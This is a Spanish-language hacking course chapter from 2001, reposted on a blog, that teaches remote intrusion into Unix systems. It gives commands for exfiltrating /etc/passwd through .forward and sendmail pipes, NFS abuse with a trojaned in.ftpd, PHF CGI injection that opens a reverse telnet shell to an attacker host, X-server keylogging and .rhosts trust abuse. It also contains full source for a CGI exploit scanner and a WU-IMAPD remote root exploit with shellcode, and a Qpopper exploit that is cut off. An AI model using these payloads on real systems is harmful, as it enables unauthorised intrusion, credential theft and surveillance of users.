Entradas con la etiqueta ‘linux’

Curso práctico de hacking (CPH) III

Sábado, 16 de Junio de 2001

#####################################
## HACKINDEX ##
## http://www.hackindex.org ##
#####################################
Titulo: Curso práctico de hacking III
Autor: Lecter
Tema: Acceso a las cosas remotas

La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

CURSO PRACTICO DE HACKING—3a entrega

Estimados estudiantes del CPH, en esta entrega nos centraremos ya en
las artima=F1as para la visitacion del objetivo que antes habiamos
escudrinyado (a partir de ahora usare la ny para denotar la enye
espanyola ya que puede verse mal en ciertos casos). Tengo ahora que
hacer un poco de “disclaiming” (lavarme las manos) acerca del uso que
pudiera darse a lo que os contare en este capitulo y el siguiente. La
visita que vamos a hacer no es con permiso del due=F1o y por lo tanto
se incurriria en un “allanamiento de morada informatica” si se emplea
por “el lado oscuro de la fuerza”=2E Esta claro que hemos de dominar
los sistemas y aprovechar sus fallos de seguridad para comprobar
nuestros conocimientos, pero podemos hacerlo de manera sana: o bien
autohacking o bien establecer un acuerdo con el administrador del
sistema que “hackeemos” para comprobar su seguridad. De cualquier
manera el conocimiento es una flor con la que la abeja hace la miel y
la ara=F1a su veneno.

Vamos a repasar algunas de las tecnicas mas adecuadas para el
principiante y luego vosotros mediante el estudio y la practica las
sobrepasareis e incluso ideareis algunas nuevas. Tened en cuenta que
eso es lo que diferencia a un lamer de unhacker: el lamer desbarata
sistemas con las herramientas que el hacker inventa. Alguna vez,
podreis penetrar un sistema utilizando un exploit, por ejemplo, y
conseguir una shell de root…y quizas os sentireis contentos de haber
alcanzado tal privilegio,… pero =BFHabeis escrito vosotros el
exploit?…Luego quizas instalareis un sniffer y una puerta
trasera…=BFpero habeis hecho vosotros esas herramientas? Lo ideal
seria que programarais algunas de las herramientas que utilizarais
luego en vuestras incursiones, y si no es asi, leed e intentad
comprender el codigo que utilizais.

Pero bueno, vamos al grano.

Un saludo para los que estan siguiendo el CPH aunque en pleno
verano. Saludos a los que vuelven, como mi amigo NBK que ya lo he
visto por las news, y a tantos otros. Para los que se han marchado
como Crino, Avalanche, etc…si no encuentran algun capitulo porque
haya expirado, etc, al final voy a intentar ensamblar todos los
capitulos en un solo documento comprimido y lo dejare en
es.binarios.misc, para no consumir ancho de banda.

Saludos,

LECTER

CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA

En este capitulo consideraremos tecnicas de acceso remoto (a traves de
la red) y en el siguiente estudiaremos el acceso local, que tambien
recibe el nombre de “ataque con escalada de privilegios”. Existe una
progresion cuando el atacante se introduce de manera remota y luego
consigue el acceso a la shell local. Habra que alcanzar privilegios de
root y mantenerlos, asi como actuar sobre el sistema para adecuarlo a
futuras visitas o a otros propositos.

Existen varios metodos fundamentales para introducirnos remotamente en
un sistema unix:

(1) Fallos de seguridad de aplicaciones basadas en el protocolo
TCP/IP.

(2) Defectos de configuracion en los servicios de red NFS, NIS y en
formularios web.

(3) Mala configuracion en los archivos hosts.equiv y .rhosts y empleo
de los llamados “comandos *r de unix”.

(4) Exploits para ciertos procesos que se basan en bugs de los mismos
o en ataques para desbordar la pila del proceso y ejecutar codigo
arbitrario que permiten conseguir una shell, una rootshell si el
proceso corresponde a un programa que tiene el bit setuid activado.

(5) Tecnicas oscuras: Ataques DoS, IP Spoofing, hijacking, ingenieria
social, web hostiles…Estas tecnicas no deberian usarse mas que en
situaciones muy criticas. He pensado dedicar un capitulo final,
despues del de borrar las huellas para incluir estos procedimientos,
quiza con el titulo de “la mitad oscura”.

Podemos emplearlas de dos modos diferentes para introducirnos en el
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.

3.1. Fallos de seguridad en aplicaciones TCP/IP

3.1.1 TFTP (Trivial File Transfer Protocol)

Se trata de una transferencia de archivos por udp. Se utiliza para
arrancar estaciones de trabajo o routers y esta basado como ya dije en
udp escuchando por el puerto 69 ;-P. Si el servidor TFTP esta mal
configurado, podemos conseguir el fichero /etc/passwd. En las ultimas
versiones quedan configurados de manera predeterminada para prohibir
el acceso a cualquier directorio excepto /tftpboot. Pero en este
directorio existe informacion comprometedora sobre los archivos de
configuracion de los routers (generalmente como
<nombrehostdelrouter>.cfg) y los intrusos pueden acceder a las
contrase=F1as de los routers y a las cadenas SNMP (Simple Network
Management Protocol), con lo cual comprometeremos redes completas.

3.1.2 FTP

Muchos servidores mal configurados permiten tener acceso anonimo,
permitiendo iniciar una sesion sin necesidad de autenticacion y
pudiendo acceder a toda la estructura de directorios del
sistema…Pero esto son habas contadas y muy peregrino debe ser el
root para meter la pata de ese modo. Algunas veces me han hablado de
servidores FTP que disponian de directorios donde podia escribir
cualquiera, con lo cual los atacantes podrian colocar un fichero
.rhosts (como ya veremos) en el directorio /home de algun usuario y
luego hacer un rlogin sin autenticacion. Habia una estratagema basada
en esto que permitia conseguir el fichero /etc/passwd de modo curioso
y sin magno artificio: Un archivo .forward en el directorio /home/ de
un usuario dirige el correo a una cuenta diferente o ejecuta alguna
instruccion cuando llega correo. De este modo, si escribimos un
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de
este modo:

$>echo “/bin/mail lecter@darkstar.us.es < /etc/passwd” > lecter_forward

Luego nos conectamos por ftp al objetivo

$>ftp objetivo.net

Si fuera posible escribir en /home/ftp/ podriamos hacer

ftp>put lecter_forward .forward
ftp>quit

y luego mandamos un correo al “usuario ftp”

$>echo hello chump | mail ftp@objetivo.net

Cuando llegue el correo se ejecutara la instruccion contenida en el
fichero .forward y recibiremos por correo el fichero /etc/passwd
:) )…Pero a mi nunca me ha funcionado. Aparte de estas
vulnerabilidades existen otras debidas a condiciones de desbordamiento
del buffer en versiones anteriores de wu-ftp 2.4.2, pero esto ya lo
veremos en el epigrafe de los exploits.

3.1.3 SMTP

Aunque hay otros mas seguros como smail y qmail, sendmail es el MTA
(Mail Transfer Agent) mas usado en el mundo unix. Si sendmail no se
configura adecuadamente, puede presentar problemas de seguridad,
ademas de los inherentes a fallos y vulnerabilidades del propio
programa. Una frase corriente hasta hace poco tiempo (la seguridad de
sendmail ha mejorado bastante en los ultimos anyos) era “Wellcome to
the sendmail bug of the week!”.

Un ataque con solera (para la version sendmail 4.1) se baso en la
vulnerabilidad de la “sendmail pipe”, que permitia al intrusoejecutar
instrucciones mediante sendmail con privilegios de bin. En versiones
anteriores a sendmail 5.57 podiamos enviarnos el fichero /etc/passwd
simplemente haciendo:

$>telnet objetivo.net 25
=2E..
helo
=2E..
mail from: “|/bin/mail lecter@darkstar.us.es < /etc/passwd”
rcpt to: johnsilver
data
=2E
quit

Pero para aprovechar los fallos de sendmail es mejor recurrir a los
exploits como se vera en el correspondiente epigrafe.

3.2 Defectos de configuracion de servicios de red

3.2.1 NFS

Ya sabemos que si el servicio nfs esta mal configurado podemos hacer
algunas cosillas :) ). Si hacemos un rpcinfo -p objetivo.net y nos
encontramos con algunas lineas en cuyos puertos escuchan los
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net
los directorios exportados.

En caso de que no tuvieramos un objetivo concreto podemos buscar
maquinas con ficheros exportables mediante el script perl getdomain.pl
de Invisible Evil, que muestro a continuacion:

—————/begin getdomain.pl———————————
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e or /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) =3D @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, “<$inputfile”) or die(“Cannot open file $inputfile for reading!\n”);
my(@lines) =3D <INFILE>;

# Initialize main data structure.
my(%hash) =3D {};
my($key) =3D “”;

foreach (@lines) {
$key =3D (split(/\ /))[0];
chop($key);
next if ((($key =3D~ tr/.//) < 1) ||
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
($key =3D~ m/root-server/i));
$hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
print “$_\n”;
}

sub usage {
print(“\n\ngetdomain:\n”);
print(“Usage: getdomain [inputfile] [search]\n\n”);
print(“Where [search] is one of \’com\’, \’edu\’, \’gov\’, \’mil\’ or \’net\’.\n\n”);
exit(0);
}

0;

———-/end of getdomain.pl——————————————–

Para utilizarlo habeis de disponer de listas de maquinas que se pueden
obtener facilmente por ftp de rs.internic.net con las extensiones:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

Despues de descomprimirlas con gunzip ejecutamos el script asi:

$>perl getdomain.pl com.zone com > com.all

y lo mismo con las otras zonas…

Luego hay que usar otro script llamado cmount.pl para ver los
directorios exportados. Aqui lo teneis

—————-/begin cmount.pl———————————–
#/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net – 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) =3D ();
my(@domains) =3D ();
my($program) =3D “showmount -e “;

# Pull off filename from commandline. If it isn’t defined, then assign default.
my($DomainFilename) =3D shift;
$DomainFilename =3D “domains” if !defined($DomainFilename);

# Do checking on input.
die(“mountDomains: $DomainFilename is a directory.\n”) if (-d
$DomainFilename);

# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
die(“mountDomains: Cannot open $DomainFilename for input.\n”);

while (<DOMAINFILE>) {
chomp($_);
print “Now checking: $_”;

# Note difference in program output capture from “geturl.pl”.�
open (EXECFILE, “$program $_ |”);
@execResult =3D <EXECFILE>;
next if (!defined($execResult[0]));
if ($execResult[0] =3D~ /^Export/) {
print ” – Export list saved.”;
open (OUTFILE, “>$_.export”);
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print “\n”;
}

# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
—————– end of cmount.pl
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.

#>showmount -e objetivo.net
/ (everyone)
/usr (everyone)

=A1Magn=EDfico! (Pero no caera esa breva) porque podriamos comenzar
mountando

#>mount -nt nfs objetivo.net:/ /mnt

Pero existe una excelente herramienta llamada nfsshell escrita por
Leendert van Door que podreis encontrar en

ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz

que nos proporciona un cliente robusto llamado nfs que funciona como
cliente ftp y permite manipular facilmente cuakquier sistema de
archivos remotos. Una vez instalado, haced en un xterm

#>nfs

y aparecera el prompt nfs>. Si haceis help vereis todas las
posibilidades=2E Bueno, al grano:

nfs>host objetivo.net (indica el host que queremos montar)

Luego miramos los archivos exportados

nfs>export
/ everyone
/usr everyone

Ahora tenemos que montar / para acceder al sistema de archivos con

nfs> mount /

Podemos ver el status de la conexion y el UID usado cuando se monto el
archivo con

nfs>status
=2E..

Como ya tenemos el sistema de archivos montado posemos mirar el
contenido de /etc/passwd:

nfs>cd /etc

nfs> cat passwd
=2E..

El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,
pero generalmente estaran “sombreados” (shadowed passwords) con una
“x” (generalmente) en el segundo campo de cada registro. No
importa. Busquemos un usuario daemon o bin. Si podemos acceder a los
binarios, =A1asunto zanjado! Suponfamos que existe el registro:

bin:x:2:2::/usr/bin

Vamos a montar /usr y cambiar nuestro UID y GID al de bin:

nfs>mount /usr

nfs>uid 2

nfs>gid 2

(y lo comprobamos con nfs>status)

A partir de ahora, tenemos los privilegios de bin en el sistema
remoto. Ahora podemos crear un canal trasero con el siguiente script
en nuestro sistema (darkstar.us.es) y llamarlo in.ftpd en el mismo
lugar donde activamos el cliente nfs (abrimos un xterm y hacemos vi
in.ftpd en el mismo directorio donde lanzamos el cliente nfs. El
contenido del script sera:

#!/bin/sh
/usr/—ruta hasta–/bin/xterm -display darkstar.us.es:0.0 &

luego lo salvamos y le damos permisos de ejecucion.

Despues volvemos al otro xterm y hacemos

nfs>cd /sbin

nfs>put in.ftp

De esta manera copiamos in.ftpd a /sbin, reescribiendo el
original. Entonces desde la otra xterm permitimos a objetivo.net
conectarse a nuestro servidor X:

#>xhost +objetivo.net
=2E..

#>ftp objetivo.net

Lo que sucedera es que aparecera en nuestro sistema un xterm
perteneciente al administrador de objetivo.net, pues al llamar a
in.ftpd desde inetd, este ejecutara nuestro script con privilegios de
root.
3.2.2 NIS

Ya hemos hablado del NIS, anta=F1o conocido como Yellow Pages (de ahi
el yp…). Cuando hacemos rpcinfo -p objetivo.net y aparece un
servidor ypserv ya estamos seguros de que el NIS esta funcionando. Si
mediante algun artificio tuvieramos una cuenta en una maquina con NIS
tendriamos la posibilidad de acceder al archivo /etc/passwd. Para
saber si en una maquina donde tenemos cuenta funciona NIS, hacemos ps
ax y si aparece el conocido ypserv =A1ya esta! En tal caso podriamos
usar el comando ypcat:

$>ypcat /etc/passwd> ~/passwd

para copiarnos el /etc/passwd en nuestro home. En caso de no tener
privilegios para ejecutar ypcat o si no esta, se puede usar el
programa pwget (este lo veremos en el capitulo 4 destinado al acceso
local). Ademas existe un programa llamado ypx para extraer los mapas
de un servidor NIS y lo podeis encontrar en:

http://morehouse.org/hin/root/ypx.tgz

Su uso es muy sencillo:

ypx -m passwd nombre_dominio_NIS
3.2.3 Inseguridades en scripts CGI

La interfaz CGI (Common Gateway Interface) permite la comunicacion
entre programas cliente y un servidor que emplea el protocolo http. El
protocolo de comunicaciones usado por el script CGI y el servidor es
el TCP/IP usando por defecto el puerto 80. Las vulnerabilidades no se
deben a fallos de CGI, sino a errores en las especificaciones HTTP y
programas del sistema. La parte fundamental de un script CGI es un
documento HTML llamado FORM (Formulario). Los scripts CGI deberian
realizar el filtrado de los contenidos del campo <INPUT> del
formulario (entradas de usuarios), pero en muchos casos, no lo
hacen…con lo cual es posible ganar un acceso ;-D. PHF es un script
CGI estandar en las primeras versiones del servidor Apache y NCSA
HTTPD. Aunque parezca raro, todavia hay sistemas que presentan esta
vulnerabilidad, por eso la cuento. El programa de marras no procesaba
ni validaba adecuadamente la entrada. PHF aceptaba el caracter de
newline (%0a) y ejecutaba cualquier mandato posterior con la UID del
usuario que estuviera ejecutando el servidor (generalmente nobody). El
codigo utilizado era el siguiente, que puede lanzarse desde nuestro
navegador (lynx para los castizos; Netscape para los modelnos):

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd

De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;
pero si estan sombreados habra que pensar en otra cosita:

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0

El servidoe web remoto ejecutara un xterm y lo montara en nuestro
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla
0. Como esta activada la opcion -ut, el sistema no registrara esta
actividad. Hay numerosos scripts para buscar sistema con scripts CGI
y PHF como vereis a continuacion:

——————-/begin cgi scanner———————————-

/* This source is absolutely free to use and modify at you own risk, please
do not change some chars and say that this program is yours or i’ll die the
next day… ;) . Pay attention, this file is for research purpose only, do not
use it into any hacking way. Is possible to be logged while running the
program, so PAY ATTENTION!.
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.

Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!
I want also give a big thanks to:

Goku: my linux guru
SMaster: my prezident
MaNdraKe: and his future girlfriends
Pr3dator: for his help on linux (go slower on cars!:pPp)
PhoenYx: the best italian hacker
Berk: a cool friend and a wannabe hacker
xOANON: the best cracker all around
Golem: for his bot, what about setting it on #softpj? ;)
Spaceone: a good friend
TanK_GirL: a future hacker! (i hope)
RootShell: for many source and ideas

I want also give a big fuck to:

Telecom Italia: u must die!
WarLords: Good ircwarriors but stupid people
Alexb: pay attention at your fuckin’ shells
Lamers: try to be more newbies!

by |scacco|

Add-on By Dark Schneider

*/

#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h> �
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h> �
#include <sys/time.h> �
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#define MAXSTR 12

main (int argc, char *argv[])
{
struct sockaddr_in sin;
/* int outsocket, serv_len, len,c,outfd; */
/* struct hostent *nametocheck; */
/* struct in_addr outgoing; */
struct hostent *hp;
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int sock, i=3D0, X;
char *stringhe[MAXSTR];
for(i=3D0;i<MAXSTR;i++) {
stringhe[i]=3D(char *) malloc(sizeof(char)*100);
}

/* Classic PHF bug… It still Works! */

stringhe[0]=3D”GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n”;

/* test-cgi bug, possible to view documents location */

stringhe[1]=3D”GET /cgi-bin/test-cgi?*\n”;

/* htmlscript bug, a good language that can us have passwd ;) */

stringhe[2]=3D”GET /cgi-bin/htmlscript?../../../../etc/passwd\n”;

/* view-source bug, some httd use this… */

stringhe[3]=3D”GET /cgi-bin/view-source?../../../../etc/passwd\n”;

/* Wrap allow you to have a directory listing on IRIX 6.2 systems */

stringhe[4]=3D”GET /cgi-bin/wrap?/../../../../../etc\n”;

/* Campas allow you to get the passwd on NCSA server 1.2 */

stringhe[5]=3D”GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n”;

/* With pfdisplay & webdist is possible to get the passwd on IRIX 6.2 systems */

stringhe[6]=3D”GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n”;

stringhe[7]=3D”GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n”;

/* With aglimpse is possible to mail the password file anywhere :) */

stringhe[8]=3D”GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\</etc/passwd;eval$CMD;echo\n”;

/* An interesting variant for phf*/

stringhe[9]=3D”GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n”;

stringhe[10]=3D”GET /cgi-bin/php.cgi?/etc/passwd\n”;

/* a new test-cgi but the bug is the same :) */

stringhe[11]=3D”GET /cgi-bin/nph-test-cgi?*\n”;

while(fgets(hosta,100,stdin))
{
if(hosta[0] =3D=3D ‘\0′)
break;
hosta[strlen(hosta) -1] =3D ‘\0′;
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,”\n”,sizeof(char));

hp =3D gethostbyname (hosta);
for(i=3D0;i<MAXSTR;i++) {
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family =3D hp->h_addrtype;
sin.sin_port =3D htons(80);
sock =3D socket(AF_INET, SOCK_STREAM, 0);
X=3Dconnect(sock,(struct sockaddr *) &sin, sizeof(sin));
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));�
while((X=3Dread(sock,FileBuf,8096))!=3D0)
write(1,FileBuf,X);

}

}
printf(“\nScacco&Dark Schneider – S0ft Pr0ject 98″);
}

—————/end CGI scanner———————————-

Hay otros pero este ya vale.

Bueno…y si el administrador ha eliminado las X? Entonces habra que
recurrir a un canal trasero. En la mayor parte de los servidores unix
hay instalado un cliente telnet sin restricciones de empleo. Para
conseguir nuestro canal trasero realizaremos un “telnet inverso”
utilizando la herramienta netcat para activar escuchas en nuestro
propio sistema. Debemos ejecutar los siguientes comandos en sendos
xterms de nuestra maquina:

(xterm1)#>nc -l -n -v -p 80

(xterm2)#>nc -l -n -v -p 25

Hemos de asegurarnos de que no hay demonio alguno escuchando por tales
puertos en nuestro sistema y si los hay haced un ps ax y luego
matadlos con kill -9 <pid>. Los dos mandatos nc escuchan en los
puertos 80 y 25 de nuestra maquina. Para iniciar el telnet inverso,
ejecutamos en el servidor objetivo desde nuestro navegador:

http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025

que equivaldria a hacer en la maquina remota:

/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25

El mandato /bin/telnet darkstar_IP 80 se conecta a nuestra escucha
netcat en el puerto 80. Aqui es donde escribiremos nuestras
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se
introduciran en /bin/sh. Posteriormente, el resultadode nuestros
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un
telnet inverso que se ejecuta en dos ventanas separadas. Se escogen
los puertos 80 y 25 porque son servicios comunes que generalmente
permiten los cortafuegos. Existen otros modos de explotar las
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.

3.2.4 Vulnerabilidades de servidores X

Muchos servidores X ejecutan de forma predeterminada xhost+
permitiendo que cualquier usuario local o remoto acceda al servidor X
sin autenticarse y muchos administradores ni se percatan. Existe una
utilidad llamada xscan que podeis encontrar en

http://morehouse.org/hin/root/xscan.tar.gz

que permite identificar los servidores X que tienen activado
xhost+. Una vez instalada hacemos

$>xscan objetivo.net
=2E..
Connecting to objetivo.net…on port 6000
connected
Host objetivo.net is running X
Starting keyboard logging of host objetivo.net
:0.0 to file KEYLOGobjetivo.net:0.0.

A partir de ahora, cualquier pulsacion de teclas realizada en la
consola de la maquina remota quedara registrada en el archivo
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro
podemos ver lo que el usuario esta escribiendo en el teclado:

$>tail -f KEYLOGobjetivo.net:0.0
su -
[shift_L * Iamowned (Shift_R)]

Asi vemos que el usuario ha ejecutado el comando su con el password de
root “Iamowned” :) )).
3.3 Mala configuracion de hosts.equiv y .rhosts

En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de
datos general que controla el acceso a nivel de hosts, y el fichero
/home/usuario/.rhosts controla el acceso a la maquina a nivel de
usuario. Las maquinas cuyos nombres encontremos en /etc/hosts.equiv o
en ~/.rhosts se llaman “trusted hosts” o maquinas de confianza por
parte del objetivo. Cuando intentamos conectarnos a la maquina remota
mediante rlogin (la maquina remota ha de tener el puerto 513 tcp
rlogin activo)

$>rlogin -l objetivo.net

el demonio rlogin busca en /etc/hosts.equiv por el nombre de nuestra
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos
intentarlo haciendo

~>rlogin -l usuario objetivo.net

entonces rlogin busca el nombre de nuestra maquina en el fichero
/home/usuario/.rhost y si la encuentra, tambien hemos conseguido el
acceso. Un antiguo “bug” de rlogin permitia conseguir una rootshell
haciendo

$>rlogin objetivo.net -l -froot.

Si una maquina tiene el rlogin activado (y no tiene filtros tcp
warppers) debemos intentar escribir una “+” en ~/.rhosts o
/etc/hosts.equiv. Muchos ya vienen con la entrada “+” en dichos
archivos por defecto y eso significa que cualquier otra maquina sera
un “trusted hosts”. Voy a ilustrar esto con un ejemplito de lo mas
interesante. Supongamos que sabemos que en nuestro sistema objetivo
estan activos los servicios rlogin, mountd y nfs. Si hacemos

#>showmount -e objetivo.net
y nos sale

/home

Lo primero que haremos sera crear un directorio para montar /home

#>mkdir patapalo

#>mount -nt nfs objetivo.net:/home /patapalo

#>ls -la /patapalo
Imaginemos que encontramos la siguiente entrada con UID=3D102:

1 drwx—— 15 102 100 1024 Jul 8 18:57 skywalker/

Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:

#>echo “skywalker::102:2::/patapalo: /bin/shi” >> /etc/passwd

#>su – skywalker
(sin contrasenya)

Una vez como skywalker, podemos hacer:

#>echo “+ +” > skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)

#>cd /

#>rlogin -l skywalker objetivo.net
Wellcome to objetivo.net
=2E..

objetivo.net:~$>

=A1Ya tenemos cuenta en el sistema!

Para desmontar el archivo, salimos del directorio y hacemos

#>umount /patapalo

De todos modos es muy raro que pasen estas cosas…los tcp warppers
deberian tener bien configurados sus ficheros de hosts.allow y
hosts.deny…pero por defecto, al instalarse automaticamente los tcp
warppers en el sistema (linux p.ej.) los ficheros de configuracion
mencionados estan vacios de reglas de acceso.
3.4 Exploits

Los exploits son procedimientos que nos permiten aprovechar (explotar)
un fallo o vulnerabilidad en ciertos programas que se ejecutan con el
bit setuid activado y que nos permiten acceder al sistema generalmente
con una rootshell. Si bien la mayor parte de las veces se utilizan en
acceso local como procedimiento para acceder a los privilegios de
root, tambien se usan para el acceso remoto utilizando alguna utilidad
de red como telnet o netcat.

La mayor parte de los exploits se basan en desbordamientos del buffer
de la pila(stack buffer overflow). En el excelente articulo de
AlephOne aparecido en noviembre de 1996 en el Phrack (49, file 14) y
titulado “Smashing the Stack for Fun and Profit” se describe
minuciosamente como es posible desbordar el buffer de la pila del
proceso y establecer la direccion de retorno para que se ejecute
codigo arbitrario, generalmente una rutina en ensamblador (a veces
llamada “egg”) que ejecuta /bin/sh con privilegio de root (si el
programa tenia el bit setuid activado). Esta vulnerabilidad la
presentan en principio los programas que llaman a determinadas
funciones C tales como strcpy(), strcat() y sprintf() que no verifican
el tama=F1o de los arrays. Hay un articulo muy sencillo de leer (o lo
habia) en http://hello.to/hacker_novatos escrito por RaiSe para los
neofitos, pero debeis de tener al menos unas nociones de programacion
C, la distribucion en la memoria de un proceso unix y algo de
ensamblador (CPU Intel y linux como so). Yo por mi me enrrollaria un
poco con el tema porque es apasionante y es relativamente sencillo
escribir nuestros propios exploits…pero eso sera otra historia si
Dios quiere que disponga de tiempo para hacer una introduccion a la
realizacion de exploits. Basta decir que si visitamos la pagina

http://www.rootshell.com

y buscamos en “exploits” encontraremos de todo. En cada uno de ellos
se explica el modus operandi para aplicarlos. Yo he recogido algunos
recientitos para Linuxy los pego a continuacion:

**Uno para imap, del 98

——————-/begin imap exploit———————-

/*

THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW

Linux WU-IMAPD 4.1 remote root exploit (4/98)
by ndubee||plaguez
dube0866@eurobretagne.fr

Usage: ./imapx <offset>

where offset =3D -500..500 (brute force if 0 doesnt work)

Credits:
- Cheez Whiz (original x86 BSD exploit)
- #!w00w00 and #!ADM

Note:
if you plan to port this to other OS., make sure the
shellcode doesn’t contain lower case chars since imapd
will toupper() the shellcode, thus fucking it up.

*/

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN 2048
#define NOP 0×90

char shell[] =3D
/*
jmp 56
popl %esi
movl %esi,%ebx
movl %ebx,%eax

addb $0×20,0×1(%esi)
addb $0×20,0×2(%esi)
addb $0×20,0×3(%esi)
addb $0×20,0×5(%esi)
addb $0×20,0×6(%esi)

movl %esi,%edi
addl $0×7,%edi
xorl %eax,%eax
stosb %al,%es:(%edi)
movl %edi,%ecx
movl %esi,%eax
stosl %eax,%es:(%edi)
movl %edi,%edx
xorl %eax,%eax
stosl %eax,%es:(%edi)
movb $0×8,%al
addb $0×3,%al
int $0×80
xorl %ebx,%ebx
movl %ebx,%eax
incl %eax
int $0×80
call -61
.string \”/BIN/SH\”
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff ;markup

*/

“\xeb\x38\x5e\x89\xf3\x89\xd8\x80″
“\x46\x01\x20\x80\x46\x02\x20\x80″
“\x46\x03\x20\x80\x46\x05\x20\x80″
“\x46\x06\x20\x89\xf7\x83\xc7\x07″
“\x31\xc0\xaa\x89\xf9\x89\xf0\xab”
“\x89\xfa\x31\xc0\xab\xb0\x08\x04″
“\x03\xcd\x80\x31\xdb\x89\xd8\x40″
“\xcd\x80\xe8\xc3\xff\xff\xff\x2f”
“\x42\x49\x4e\x2f\x53\x48\x00″;

void
main (int argc, char *argv[])
{
char buf[BUFLEN];
int offset=3D0,nop,i;
unsigned long esp;

fprintf(stderr,”usage: %s <offset>\n”, argv[0]);

nop =3D 403;
esp =3D 0xbffff520;
if(argc>1)
offset =3D atoi(argv[1]);

memset(buf, NOP, BUFLEN);
memcpy(buf+(long)nop, shell, strlen(shell));

for (i =3D 512; i < BUFLEN – 4; i +=3D 4)
*((int *) &buf[i]) =3D esp + (long) offset;

printf(“* AUTHENTICATE {%d}\r\n”, BUFLEN);
for (i =3D 0; i < BUFLEN; i++)
putchar(buf[i]);

printf(“\r\n”);

return;
}
————–/end imap exploit———————————–
**Otro para qpop3

—————–/begin qpop3 exploit—————————–
/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <zhodiac@softhome.net>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28 offset=3D0
* 3.0beta26 offset=3D0
* 3.0beta25 offset=3D0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
*/

#include <stdio.h>

#define BUFFERSIZE 1004
#define NOP 0×90
#define OFFSET 0xbfffd9c4

char shellcode[]=3D
“\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89″
“\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89″
“\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh”;
void usage(char *progname) {
fprintf(stderr,”Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110″,progname);
exit(1);
}

int main(int argc, char **argv) {
